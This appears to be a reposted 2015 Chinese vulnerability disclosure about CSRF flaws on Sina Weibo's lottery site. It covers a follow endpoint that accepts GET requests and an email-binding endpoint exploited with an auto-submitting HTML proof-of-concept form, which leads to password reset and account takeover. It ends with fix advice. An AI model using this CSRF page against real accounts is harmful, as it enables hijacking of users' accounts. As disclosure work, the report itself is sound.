精选国内外互联网行业最新文章及报告,让网友获得最新的海内外互联网动态
当前位置:主页 > 互联网 > 网络安全 >

新浪微博还一处非常严重的CSRF刷粉丝

2015-01-20 11:44 来源: 编辑:admin
CSRF新浪微博 1.加关注的接口POST变GET; 2.不只是刷粉丝呢,xss可以偷身份,csrf同样可以的! 1.是这个站点撒:http://caipiao.weibo.com,先登录,将信息填好撒!   2.加关注的接口本来是一个POST请求的,结果我简单试了下,直接GET也可以撒,这个不能原谅哦,如下: http://w.aicai.com/ajaxCareFriend.do?uid=1981622273直接访问,再看看微博关注了谁吧:   3.再看另一个问题,CSRF绑定邮箱,再取回密码,进入【安全中心】:   4.在邮箱那里,点击立即设置,填好事先准备的QQ邮箱:   5.将该请求抓下,准备一个POST请求的POC页面,这个要是能GET,麻烦就大了: <html> <body> <form id="fengxiaoxiao" name="fengxiaoxiao" action="http://w.aicai.com/userEmail.do" method="POST"> <input type="text" name="email" value="*********@qq.com" /> <input type="submit" value="submit" /> </form> <script> document.fengxiaoxiao.submit(); </script> </body> </html> 6.把链接发给指定的人撒,QQ邮箱来邮件了:   7.用另一个微博账号点击上述链接,成功绑定!  
      修复方案:

1.CSRF要彻底检查下啊,不只是这两个地方; 2.绑定邮箱的地方经实践证明,可以直接GET的,麻烦大了 3.关键接口没有做用户验证,比如提示用户首先输入密码才可绑定邮箱或手机,哪怕设置一个图片验证码也可防止这种情况  
标签
返回首页
扫描微信
返回顶部